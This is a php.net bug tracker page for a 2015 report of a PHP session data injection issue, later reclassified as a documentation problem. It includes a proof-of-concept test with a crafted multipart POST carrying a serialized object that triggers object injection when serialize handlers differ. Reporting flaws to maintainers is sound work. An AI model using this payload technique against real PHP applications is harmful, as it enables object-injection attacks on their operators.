|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull Requests
Pull requests:
HistoryAllCommentsChangesGit/SVN commits
[2015-12-14 07:10 UTC] stas@php.net
-Status: Open
+Status: Feedback
[2015-12-14 07:10 UTC] stas@php.net
[2015-12-14 07:33 UTC] taoguangchen at icloud dot com
-Status: Feedback
+Status: Open
[2015-12-14 07:33 UTC] taoguangchen at icloud dot com
[2015-12-29 00:45 UTC] stas@php.net
-Status: Open
+Status: Feedback
[2015-12-29 00:45 UTC] stas@php.net
[2015-12-29 01:06 UTC] taoguangchen at icloud dot com
-Status: Feedback
+Status: Open
[2015-12-29 01:06 UTC] taoguangchen at icloud dot com
[2015-12-29 01:16 UTC] stas@php.net
[2015-12-29 01:29 UTC] taoguangchen at icloud dot com
[2015-12-29 02:01 UTC] stas@php.net
[2015-12-31 23:46 UTC] stas@php.net
-Status: Open
+Status: Analyzed
[2016-01-01 02:29 UTC] stas@php.net
-Type: Security
+Type: Bug
[2016-01-01 02:29 UTC] stas@php.net
[2016-08-27 07:28 UTC] yohgaki@php.net
[2016-08-27 07:29 UTC] yohgaki@php.net
[2016-11-09 00:10 UTC] love at sickpeople dot se
[2021-07-29 19:15 UTC] wilfried dot pascault at orange dot com
[2021-09-24 14:09 UTC] cmb@php.net
-Summary: PHP Session Data Injection Vulnerability
+Summary: serialize_handler must not be switched for existing
sessions
-Type: Bug
+Type: Documentation Problem
[2021-09-24 14:09 UTC] cmb@php.net
|
|||||||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 17:00:01 2025 UTC |
Description: ------------ PHP Session Data Injection Vulnerability When the session.upload_progress.enabled INI option is enabled (default enabled in php.ini since 5.4 series), PHP will be able to track the upload progress of individual files being uploaded. The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. This means an attacker will be able to control the key, i.e. ``` <form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" /> <input type="file" name="file" /> <input type="submit" /> </form> ``` The key of stored in the session will look like this: ``` $_SESSION["upload_progress_ryat"] ``` During session upload progress will serialize/deserialize session data and the serialize format is set by session.serialize_handler INI option which is set in php.ini. This means arbitrarily session data injection is possible when a different serialize_handler is set in script. Proof of Concept (In order to facilitate proof the issue, i disabled the session.upload_progress.cleanup INI option, in fact this is not necessary. An attacker can upload some large files with crafted data, then the attacker will be able to request session data before them destroyed.): ``` --TEST-- session data injection --INI-- error_reporting=0 file_uploads=1 upload_max_filesize=1024 session.save_path= session.name=PHPSESSID session.serialize_handler=php session.use_strict_mode=0 session.use_cookies=1 session.use_only_cookies=0 session.upload_progress.enabled=1 session.upload_progress.cleanup=0 session.upload_progress.prefix=upload_progress_ session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS session.upload_progress.freq=1% session.upload_progress.min_freq=0.000000001 --COOKIE-- PHPSESSID=session-data-injection --POST_RAW-- Content-Type: multipart/form-data; boundary=---------------------------20896060251896012921717172737 -----------------------------20896060251896012921717172737 Content-Disposition: form-data; name="PHPSESSID" session-data-injection -----------------------------20896060251896012921717172737 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxO:3:"obj":0:{} -----------------------------20896060251896012921717172737 Content-Disposition: form-data; name="file"; filename="file.txt" 1 -----------------------------20896060251896012921717172737-- --FILE-- <?php ini_set('session.serialize_handler', 'php_binary'); session_start(); session_destroy(); class obj { function __destruct() { var_dump('session data injection'); } } ?> --EXPECTF-- string(%d) "session data injection" ```